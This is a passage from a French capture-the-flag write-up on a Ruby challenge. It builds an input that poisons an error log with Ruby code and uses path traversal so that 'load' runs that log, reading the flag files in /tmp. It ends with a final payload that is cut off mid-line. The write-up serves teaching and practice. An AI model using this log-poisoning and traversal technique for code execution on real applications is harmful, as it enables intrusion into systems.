valide et existant.</p><p>La dernière étape est de rendre le modèle afin d'afficher le journal d'évènement. En lisant le code de mise en place de l'environnement, on sait que le drapeau se trouve dans le fichier <code>/tmp/flag_xxxxxxxxxx.txt</code> généré avec un nom aléatoire. Le but sera donc de le lire, à l'aide d'une exécution de code. Inutile donc de passer en revue le modèle afin d'identifier si oui ou non une XSS est présente.</p><h3 id="But">But<a class="header-anchor" href="#But">#</a></h3><p>En donnant un nom de fichier inexistant en entrée (ex : <code>test.rb</code>) le fichier de journalisation suivant est retourné :</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span># Logfile created on 2025-09-02 21:10:01 +0000 by logger.rb/v1.6.4</span></span><span class="line"><span>I, [9/2/2025 #4331]  INFO -- : Running bakup script test.rb</span></span><span class="line"><span>W, [9/2/2025 #4331]  WARN -- : The bakup script failed to run, error : cannot load such file -- scripts/test.rb</span></span></code></pre></div></div></figure><p>Notre objectif est donc d'écrire du code dans <code>logs/error.log</code> et de faire exécuter ce fichier par <code>load</code> afin de lire le drapeau. La complexité est, d'une part, que nous n'avons pas deux entrées utilisateur, une pour le nom du fichier exécuté et l'autre pour le contenu du fichier, mais belle et bien une seule entrée qui sera la même dans les deux cas. Il faut donc une entrée polymorphe qui soit à la fois du code Ruby valide et un nom de fichier valide et existant sur le système de fichier qui soit équivalent à <code>logs/error.log</code>. D'autre part, le journaliseur écrit des messages et des métadonnées dans le fichier qu'il faudra neutraliser pour que l'entièreté du fichier forme du Ruby valide afin de ne pas lever une exception à l'exécution (ou tout du moins jusqu'à ce que le code permettant de lire le drapeau soit exécuté).</p><h3 id="Neutralisation-du-format-de-journalisation">Neutralisation du format de journalisation<a class="header-anchor" href="#Neutralisation-du-format-de-journalisation">#</a></h3><p>Dans un premier temps, cherchons comment neutraliser le contenu du journal d'évènement pour former du code Ruby valide.</p><p>En ce qui concerne la première ligne d'évènement, pas de soucis, elle commence par <code>#</code> et sera dont interprétée comme un commentaire.Pour la 2ième; et 3ième; ligne, c'est un peu plus compliqué, notre contenu est injecté à la fin de la ligne (<code>INJECTION_ICI</code>) mais beaucoup de contenu non controlé et invalide en Ruby est placé devant.</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#7F848E;font-style:italic"># Logfile created on 2025-09-02 21:10:01 +0000 by logger.rb/v1.6.4</span></span><span class="line"><span style="color:#E5C07B">I</span><span style="color:#ABB2BF">, [</span><span style="color:#D19A66">9</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2025</span><span style="color:#7F848E;font-style:italic"> #4331]  INFO -- : Running bakup script INJECTION_ICI</span></span><span class="line"><span style="color:#E5C07B">W</span><span style="color:#ABB2BF">, [</span><span style="color:#D19A66">9</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2025</span><span style="color:#7F848E;font-style:italic"> #4331]  WARN -- : The bakup script failed to run, error : cannot load such file -- scripts/INJECTION_ICI</span></span></code></pre></div></div></figure><p>Toutefois, là aussi <code>#</code> et sera dont interprétée comme un commentaire, le contenu réellement exécuté sera donc le suivant.</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#7F848E;font-style:italic"># ignoré</span></span><span class="line"><span style="color:#E5C07B">I</span><span style="color:#ABB2BF">, [</span><span style="color:#D19A66">9</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2025</span><span style="color:#7F848E;font-style:italic"> # ignoré INJECTION_ICI</span></span><span class="line"><span style="color:#E5C07B">W</span><span style="color:#ABB2BF">, [</span><span style="color:#D19A66">9</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2025</span><span style="color:#7F848E;font-style:italic"> # ignoré INJECTION_ICI</span></span></code></pre></div></div></figure><p>Á ce stade, le problème est que le contenu que nous pourrions injecté pour neutraliser le début de la ligne sera ignoré, car injecté dans le commentaire. L'idée est donc de commencer par injecter un retour à la ligne (<code>\n</code> ou <code>%20</code>) afin que le reste du contenu injecté débute sur une nouvelle ligne.</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#7F848E;font-style:italic"># ignoré</span></span><span class="line"><span style="color:#E5C07B">I</span><span style="color:#ABB2BF">, [</span><span style="color:#D19A66">9</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2025</span><span style="color:#7F848E;font-style:italic"> # ignoré \n</span></span><span class="line"><span style="color:#E5C07B">INJECTION_ICI</span></span><span class="line"><span style="color:#E5C07B">W</span><span style="color:#ABB2BF">, [</span><span style="color:#D19A66">9</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2025</span><span style="color:#7F848E;font-style:italic"> # ignoré \n</span></span><span class="line"><span style="color:#E5C07B">INJECTION_ICI</span></span></code></pre></div></div></figure><p>Maintenant, le problème est que le tableau <code>[9/2/2025</code> n'est pas fermé. Et bien fermons le en injectant <code>]</code> après le <code>\n</code> (<code>\n]</code>).</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#7F848E;font-style:italic"># ignoré</span></span><span class="line"><span style="color:#E5C07B">I</span><span style="color:#ABB2BF">, [</span><span style="color:#D19A66">9</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2025</span><span style="color:#7F848E;font-style:italic"> # ignoré \n</span></span><span class="line"><span style="color:#ABB2BF">]</span></span><span class="line"><span style="color:#E5C07B">W</span><span style="color:#ABB2BF">, [</span><span style="color:#D19A66">9</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2025</span><span style="color:#7F848E;font-style:italic"> # ignoré \n</span></span><span class="line"><span style="color:#ABB2BF">]</span></span></code></pre></div></div></figure><p>Cela fonctionne, car comme dans beaucoup d'autres langages, en Ruby, les chaînes de caractères, les tableaux, et beaucoup d'autres structures peuvent être découpées sur plusieurs lignes. Exemple :</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#ABB2BF">[</span></span><span class="line"><span style="color:#D19A66">  1</span><span style="color:#ABB2BF">,</span></span><span class="line"><span style="color:#D19A66">  2</span><span style="color:#ABB2BF">,</span></span><span class="line"><span style="color:#D19A66">  3</span></span><span class="line"><span style="color:#ABB2BF">]</span></span><span class="line"><span style="color:#7F848E;font-style:italic"># équivant à</span></span><span class="line"><span style="color:#ABB2BF">[ </span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">, </span><span style="color:#D19A66">2</span><span style="color:#ABB2BF">, </span><span style="color:#D19A66">3</span><span style="color:#ABB2BF"> ]</span></span></code></pre></div></div></figure><p>Si l'on simplifie, le code exécuté sera alors le suivant.</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#E5C07B">I</span><span style="color:#ABB2BF">, [</span><span style="color:#D19A66">9</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2025</span><span style="color:#ABB2BF">]</span></span><span class="line"><span style="color:#E5C07B">W</span><span style="color:#ABB2BF">, [</span><span style="color:#D19A66">9</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2025</span><span style="color:#ABB2BF">]</span></span></code></pre></div></div></figure><p>Pour <code>[9/2/2025]</code>, la valeur est interprétée comme deux divisions, il suffit de le coller dans un interpréteur pour s'en persuader.</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#ABB2BF">irb</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF"> [</span><span style="color:#D19A66">9</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2025</span><span style="color:#ABB2BF">]</span></span><span class="line"><span style="color:#ABB2BF">\</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF"> [</span><span style="color:#D19A66">0</span><span style="color:#ABB2BF">]</span></span></code></pre></div></div></figure><p>Le code est donc équivalent à ce qui suit.</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#E5C07B">I</span><span style="color:#ABB2BF">, [</span><span style="color:#D19A66">0</span><span style="color:#ABB2BF">]</span></span><span class="line"><span style="color:#E5C07B">W</span><span style="color:#ABB2BF">, [</span><span style="color:#D19A66">0</span><span style="color:#ABB2BF">]</span></span></code></pre></div></div></figure><p>Le problème semble plus simple dorénavant. Nonobstant, en collant <code>I, [0]</code> ou <code>W, [0]</code> dans <code>irb</code>, on se rend compte que ce n'est toujours pas du code valide.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>&#x3C;internal:kernel>:168:in 'Kernel#loop': (irb):2: syntax errors found (SyntaxError)</span></span><span class="line"><span>> 2 | I, [0]</span></span><span class="line"><span>    | ^~~~~~ unexpected write target</span></span><span class="line"><span>    |    ^~~ unexpected write target</span></span><span class="line"><span></span></span><span class="line"><span>        from /usr/lib/ruby/gems/3.4.0/gems/irb-1.14.3/exe/irb:9:in '&#x3C;top (required)>'</span></span><span class="line"><span>        from /usr/bin/irb:25:in 'Kernel#load'</span></span><span class="line"><span>        from /usr/bin/irb:25:in '&#x3C;main>'</span></span></code></pre></div></div></figure><p>En effet, plusieurs problèmes se posent ici. <code>I</code> et <code>W</code> sont des constantes qui n'ont pas été déclarées au préalable, et ne peuvent donc pas être utilisées. De plus, les deux éléments (<code>I</code> ou <code>W</code> d'une part et <code>[0]</code> d'autre part) sont séparés par une virgule (<code>,</code>), il est donc attendu qu'une déclaration soit complétée. Par exemple, pour séparer des éléments d'un tableau ou effectuer une affectation.</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#7F848E;font-style:italic"># Pas valide</span></span><span class="line"><span style="color:#ABB2BF">irb</span><span style="color:#56B6C2">></span><span style="color:#D19A66"> 1</span><span style="color:#ABB2BF">, </span><span style="color:#D19A66">2</span></span><span class="line"><span style="color:#56B6C2">&#x3C;internal</span><span style="color:#D19A66">:</span><span style="color:#ABB2BF">kernel</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF">:</span><span style="color:#D19A66">168:</span><span style="color:#56B6C2">in</span><span style="color:#98C379"> 'Kernel#loop'</span><span style="color:#ABB2BF">: (irb):</span><span style="color:#D19A66">3</span><span style="color:#ABB2BF">: syntax errors found (</span><span style="color:#E5C07B">SyntaxError</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#56B6C2">></span><span style="color:#D19A66"> 3</span><span style="color:#ABB2BF"> | </span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">,</span><span style="color:#D19A66">2</span></span><span class="line"><span style="color:#ABB2BF">    |  </span><span style="color:#56B6C2">^</span><span style="color:#ABB2BF"> unexpected </span><span style="color:#98C379">','</span><span style="color:#ABB2BF">, ignoring it</span></span><span class="line"><span style="color:#ABB2BF">    |  </span><span style="color:#56B6C2">^</span><span style="color:#ABB2BF"> unexpected </span><span style="color:#98C379">','</span><span style="color:#ABB2BF">, expecting </span><span style="color:#C678DD">end</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">of</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">input</span></span><span class="line"></span><span class="line"><span style="color:#ABB2BF">        from </span><span style="color:#56B6C2">/</span><span style="color:#ABB2BF">usr</span><span style="color:#56B6C2">/</span><span style="color:#ABB2BF">lib</span><span style="color:#56B6C2">/</span><span style="color:#ABB2BF">ruby</span><span style="color:#56B6C2">/</span><span style="color:#ABB2BF">gems</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">3.4</span><span style="color:#ABB2BF">.</span><span style="color:#D19A66">0</span><span style="color:#56B6C2">/</span><span style="color:#ABB2BF">gems</span><span style="color:#56B6C2">/</span><span style="color:#ABB2BF">irb</span><span style="color:#56B6C2">-</span><span style="color:#D19A66">1.14</span><span style="color:#ABB2BF">.</span><span style="color:#D19A66">3</span><span style="color:#56B6C2">/</span><span style="color:#ABB2BF">exe</span><span style="color:#56B6C2">/irb</span><span style="color:#D19A66">:9:</span><span style="color:#56B6C2">in</span><span style="color:#98C379"> '&#x3C;top (required)>'</span></span><span class="line"><span style="color:#ABB2BF">        from </span><span style="color:#56B6C2">/</span><span style="color:#ABB2BF">usr</span><span style="color:#56B6C2">/</span><span style="color:#ABB2BF">bin</span><span style="color:#56B6C2">/irb</span><span style="color:#D19A66">:25:</span><span style="color:#56B6C2">in</span><span style="color:#98C379"> 'Kernel#load'</span></span><span class="line"><span style="color:#ABB2BF">        from </span><span style="color:#56B6C2">/</span><span style="color:#ABB2BF">usr</span><span style="color:#56B6C2">/</span><span style="color:#ABB2BF">bin</span><span style="color:#56B6C2">/irb</span><span style="color:#D19A66">:25:</span><span style="color:#56B6C2">in</span><span style="color:#98C379"> '&#x3C;main>'</span></span><span class="line"><span style="color:#7F848E;font-style:italic"># Valide</span></span><span class="line"><span style="color:#ABB2BF">irb</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF"> [</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">, </span><span style="color:#D19A66">2</span><span style="color:#ABB2BF">]</span></span><span class="line"><span style="color:#ABB2BF">\</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF"> [</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">, </span><span style="color:#D19A66">2</span><span style="color:#ABB2BF">]</span></span><span class="line"><span style="color:#ABB2BF">irb</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF"> a, b </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 1</span><span style="color:#ABB2BF">, </span><span style="color:#D19A66">2</span></span><span class="line"><span style="color:#ABB2BF">\</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF"> [</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">, </span><span style="color:#D19A66">2</span><span style="color:#ABB2BF">]</span></span></code></pre></div></div></figure><p>Il ne sera pas possible de former un tableau avec <code>I, [0]</code> (en <code>[I, [0]]</code>) car nous ne pouvons pas écrire avant le <code>I</code>. Il nous reste donc plus que le choix de l'affectation, qui a au passe le bon goût de résoudre le problème des constantes non déclarées au passage. On va donc essayer de former quelque chose de la forme <code>I, [0] = x, y</code>, car Ruby autorise l'affectation multiple.</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#ABB2BF">a, b </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 1</span><span style="color:#ABB2BF">, </span><span style="color:#D19A66">2</span></span><span class="line"><span style="color:#7F848E;font-style:italic"># écquiavalent à</span></span><span class="line"><span style="color:#E06C75">a</span><span style="color:#56B6C2"> =</span><span style="color:#D19A66"> 1</span></span><span class="line"><span style="color:#E06C75">b</span><span style="color:#56B6C2"> =</span><span style="color:#D19A66"> 2</span></span></code></pre></div></div></figure><p>Nous serons vite déçus par une tentative d'affectation naïve.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>irb> I, [0] = 1, 2</span></span><span class="line"><span>&#x3C;internal:kernel>:168:in 'Kernel#loop': (irb):6: syntax error found (SyntaxError)</span></span><span class="line"><span>> 6 | I, [0] = 1, 2</span></span><span class="line"><span>    |    ^~~ unexpected write target</span></span><span class="line"><span></span></span><span class="line"><span>        from /usr/lib/ruby/gems/3.4.0/gems/irb-1.14.3/exe/irb:9:in '&#x3C;top (required)>'</span></span><span class="line"><span>        from /usr/bin/irb:25:in 'Kernel#load'</span></span><span class="line"><span>        from /usr/bin/irb:25:in '&#x3C;main>'</span></span></code></pre></div></div></figure><p>La 1Ê³áµ� partie (<code>I = 1</code>) ne pose pas problème mais <code>[0] = 2</code> oui.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>irb> I = 1</span></span><span class="line"><span>\> 1</span></span><span class="line"><span>irb> [0] = 2</span></span><span class="line"><span>&#x3C;internal:kernel>:168:in 'Kernel#loop': (irb):8: syntax errors found (SyntaxError)</span></span><span class="line"><span>> 8 | [0] = 2</span></span><span class="line"><span>    |     ^ unexpected '='; target cannot be written</span></span><span class="line"><span>    |       ^ unexpected integer, expecting end-of-input</span></span><span class="line"><span></span></span><span class="line"><span>        from /usr/lib/ruby/gems/3.4.0/gems/irb-1.14.3/exe/irb:9:in '&#x3C;top (required)>'</span></span><span class="line"><span>        from /usr/bin/irb:25:in 'Kernel#load'</span></span><span class="line"><span>        from /usr/bin/irb:25:in '&#x3C;main>'</span></span></code></pre></div></div></figure><p>Si l'on réfléchit un peu, c'est logique. On peut affecter une valeur à une variable (<code>a = 1</code>) ou a un index d'un tableau mais pas à un tableau directement.</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#ABB2BF">[] </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 1</span></span><span class="line"><span style="color:#7F848E;font-style:italic"># est équivalent à</span></span><span class="line"><span style="color:#E5C07B">Array</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">new</span><span style="color:#56B6C2"> =</span><span style="color:#D19A66"> 1</span></span><span class="line"><span style="color:#7F848E;font-style:italic"># la preuve</span></span><span class="line"><span style="color:#E5C07B">Array</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">new</span><span style="color:#56B6C2"> ==</span><span style="color:#ABB2BF"> []</span></span><span class="line"><span style="color:#ABB2BF">\</span><span style="color:#56B6C2">></span><span style="color:#D19A66"> true</span></span></code></pre></div></div></figure><p>Quand on fait <code>[] = 1</code>, il faut donc comprendre l'on écrit <code>Array.new = 1</code> mais que la méthode <code>.new=</code> n'est pas défini pour les tableaux (la classe <code>Array</code>).</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>irb> [] = 1</span></span><span class="line"><span>&#x3C;internal:kernel>:168:in 'Kernel#loop': (irb):9: syntax errors found (SyntaxError)</span></span><span class="line"><span>> 9 | [] = 1</span></span><span class="line"><span>    |    ^ unexpected '='; target cannot be written</span></span><span class="line"><span>    |      ^ unexpected integer, expecting end-of-input</span></span><span class="line"><span></span></span><span class="line"><span>        from /usr/lib/ruby/gems/3.4.0/gems/irb-1.14.3/exe/irb:9:in '&#x3C;top (required)>'</span></span><span class="line"><span>        from /usr/bin/irb:25:in 'Kernel#load'</span></span><span class="line"><span>        from /usr/bin/irb:25:in '&#x3C;main>'</span></span><span class="line"><span>irb> Array.new = 1</span></span><span class="line"><span>(irb):10:in '&#x3C;main>': undefined method 'new=' for class Array (NoMethodError)</span></span><span class="line"><span>        from &#x3C;internal:kernel>:168:in 'Kernel#loop'</span></span><span class="line"><span>        from /usr/lib/ruby/gems/3.4.0/gems/irb-1.14.3/exe/irb:9:in '&#x3C;top (required)>'</span></span><span class="line"><span>        from /usr/bin/irb:25:in 'Kernel#load'</span></span><span class="line"><span>        from /usr/bin/irb:25:in '&#x3C;main>'</span></span></code></pre></div></div></figure><p>Et si l'on pense à rajouter une valeur à un tableau, ce n'est pas la syntaxe (avec <code>=</code>), il faut écrire l'une des solutions suivantes.</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#ABB2BF">irb</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF"> [] </span><span style="color:#56B6C2">&#x3C;&#x3C;</span><span style="color:#D19A66"> 1</span></span><span class="line"><span style="color:#ABB2BF">\</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF"> [</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">]</span></span><span class="line"></span><span class="line"><span style="color:#ABB2BF">irb</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF"> [].</span><span style="color:#61AFEF">append</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#ABB2BF">\</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF"> [</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">]</span></span><span class="line"></span><span class="line"><span style="color:#ABB2BF">irb</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF"> a </span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> []</span></span><span class="line"><span style="color:#ABB2BF">\</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF"> []</span></span><span class="line"><span style="color:#ABB2BF">irb</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF"> a </span><span style="color:#56B6C2">+=</span><span style="color:#ABB2BF"> [</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">]</span></span><span class="line"><span style="color:#ABB2BF">\</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF"> [</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">]</span></span></code></pre></div></div></figure><p>Par contre, on peut affecter une valeur à un index d'un tableau sans soucis.</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#ABB2BF">irb</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF"> a </span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> []</span></span><span class="line"><span style="color:#ABB2BF">\</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF"> []</span></span><span class="line"><span style="color:#ABB2BF">irb</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF"> a[</span><span style="color:#D19A66">0</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 1</span></span><span class="line"><span style="color:#ABB2BF">\</span><span style="color:#56B6C2">></span><span style="color:#D19A66"> 1</span></span><span class="line"><span style="color:#ABB2BF">irb</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF"> a[</span><span style="color:#D19A66">999</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 5</span></span><span class="line"><span style="color:#ABB2BF">\</span><span style="color:#56B6C2">></span><span style="color:#D19A66"> 5</span></span></code></pre></div></div></figure><p>Dans le défi, notre tableau n'est pas lié à une variable (ex : <code>a</code>) mais est directement écrit sous la forme <code>[]</code>, qui plus est, il contient une valeur (<code>0</code>) : <code>[0]</code>. Si l'on veut affecter une valeur à un index de ce tableau, il faut donc écrire <code>[0][index]</code>, par exemple <code>[0][0]</code>. Ce qui a troublé beaucoup de personnes, c'est que <code>[0]</code> est davantage perçu comme un accès à un index que comme un tableau contenant <code>à</code> comme première valeur. Revenons un peu à notre code.</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#7F848E;font-style:italic"># Il ne faudra donc pas écrire (invalide)</span></span><span class="line"><span style="color:#E5C07B">I</span><span style="color:#ABB2BF">, [</span><span style="color:#D19A66">0</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 1</span><span style="color:#ABB2BF">, </span><span style="color:#D19A66">2</span></span><span class="line"><span style="color:#7F848E;font-style:italic"># mais (valide)</span></span><span class="line"><span style="color:#E5C07B">I</span><span style="color:#ABB2BF">, [</span><span style="color:#D19A66">0</span><span style="color:#ABB2BF">][</span><span style="color:#D19A66">0</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 1</span><span style="color:#ABB2BF">, </span><span style="color:#D19A66">2</span></span></code></pre></div></div></figure><p>On en est donc rendu à injecter <code>\n][0] = 1, 2</code>, ce qui forme enfin du code Ruby valide !</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#7F848E;font-style:italic"># Logfile created on 2025-09-06 22:50:56 +0000 by logger.rb/v1.6.4</span></span><span class="line"><span style="color:#E5C07B">I</span><span style="color:#ABB2BF">, [</span><span style="color:#D19A66">9</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">6</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2025</span><span style="color:#7F848E;font-style:italic"> #4766]  INFO -- : Running bakup script </span></span><span class="line"><span style="color:#ABB2BF">][</span><span style="color:#D19A66">0</span><span style="color:#ABB2BF">]</span><span style="color:#56B6C2">=</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">,</span><span style="color:#D19A66">1</span></span><span class="line"><span style="color:#E5C07B">W</span><span style="color:#ABB2BF">, [</span><span style="color:#D19A66">9</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">6</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2025</span><span style="color:#7F848E;font-style:italic"> #4766]  WARN -- : The bakup script failed to run, error : cannot load such file -- scripts/</span></span><span class="line"><span style="color:#ABB2BF">][</span><span style="color:#D19A66">0</span><span style="color:#ABB2BF">]</span><span style="color:#56B6C2">=</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">,</span><span style="color:#D19A66">1</span></span></code></pre></div></div></figure><p>Vous pouvez écrire cela dans un fichier <code>.rb</code> et l'exécuter ou le coller dans un interpréteur et vous n'aurez aucune erreur. À vrai dire, vous n'aurez pas de drapeau non plus. Il va donc falloir écrire le code pour récupérer le drapeau maintenant.</p><h3 id="Lecture-du-drapeau">Lecture du drapeau<a class="header-anchor" href="#Lecture-du-drapeau">#</a></h3><p>Pour rappel, le drapeau est écrit dans un fichier qui porte un nom aléatoire, il n'est donc pas possible de le lire directement comme on ne connait pas le nom du fichier à l'avance.</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#E06C75">filenameflag</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> "flag_</span><span style="color:#C678DD">#{</span><span style="color:#E5C07B">SecureRandom</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">hex</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">10</span><span style="color:#ABB2BF">)</span><span style="color:#C678DD">}</span><span style="color:#98C379">.txt"</span></span><span class="line"><span style="color:#E5C07B">File</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">write</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"/tmp/</span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">filenameflag</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span><span style="color:#ABB2BF">, flag)</span></span></code></pre></div></div></figure><p>Il suffit donc de liste tous les fichiers de la forme <code>flag_*.txt</code> dans <code>/tmp/</code> et de les afficher.</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#E5C07B">Dir</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">"/tmp/flag_*.txt"</span><span style="color:#ABB2BF">].</span><span style="color:#61AFEF">each</span><span style="color:#ABB2BF"> {|</span><span style="color:#E06C75">f</span><span style="color:#ABB2BF">| </span><span style="color:#56B6C2">puts</span><span style="color:#E5C07B"> File</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">read</span><span style="color:#ABB2BF">(f)}</span></span></code></pre></div></div></figure><h3 id="Neutralisation-du-nom-de-fichier">Neutralisation du nom de fichier<a class="header-anchor" href="#Neutralisation-du-nom-de-fichier">#</a></h3><p>Mais ce n'est pas terminé. Il ne suffit pas d'écrire du code valide, il nous reste à faire exécuter <code>error.log</code>. De manière assez évidente, comme l'appel à <code>load</code> est préfixé par <code>scripts/</code>, il sera nécessaire de faire une remontée de chemin lire le fichier : <code>../../../../../../../../../../../../../../../../tmp/app/logs/error.log</code>.</p><p>Pour rappel, l'entrée correspond à la fois au nom du fichier à exécuter et à son contenu. Pour ne pas casser le code, c'est assez simple, il suffit de rajouter un commentaire. Pour le nom du fichier, essayer d'écrire le vrai chemin puis le code (<code>../tmp/app/logs/error.log &lt;code&gt;</code>) s'avère compliqué voir impossible. Par contre, le code suivi du vrai chemin est plutôt aisé (<code>&lt;code&gt; ../tmp/app/logs/error.log</code>). Tout le code sera perçu comme un fichier inexistant depuis le répertoire courant, et la remontée de chemin permet de repartir de la racine du système de fichier pour retourner au véritable journal d'évènement empisoné.</p><h3 id="Charge-utile-finale">Charge utile finale<a class="header-anchor" href="#Charge-utile-finale">#</a></h3><p>La charge utile complète, ressemble donc à ceci :</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#ABB2BF">\n</span></span><span class="line"><span style="color:#ABB2BF">][</span><span style="color:#D19A66">1337</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">=</span><span style="color:#98C379"> "noraj"</span><span style="color:#ABB2BF">,</span><span style="color:#98C379">"rawsec"</span></span><span class="line"><span style="color:#E5C07B">Dir</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">"/tmp/flag_*.txt"</span><span style="color:#ABB2BF">].</span><span style="color:#61AFEF">each</span><span style="color:#ABB2BF"> {|</span><span style="color:#E06C75">f</span><span style="color:#ABB2BF">| </span><span style="color:#56B6C2">puts</span><span style="color:#E5C07B"> File</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">read</span><span 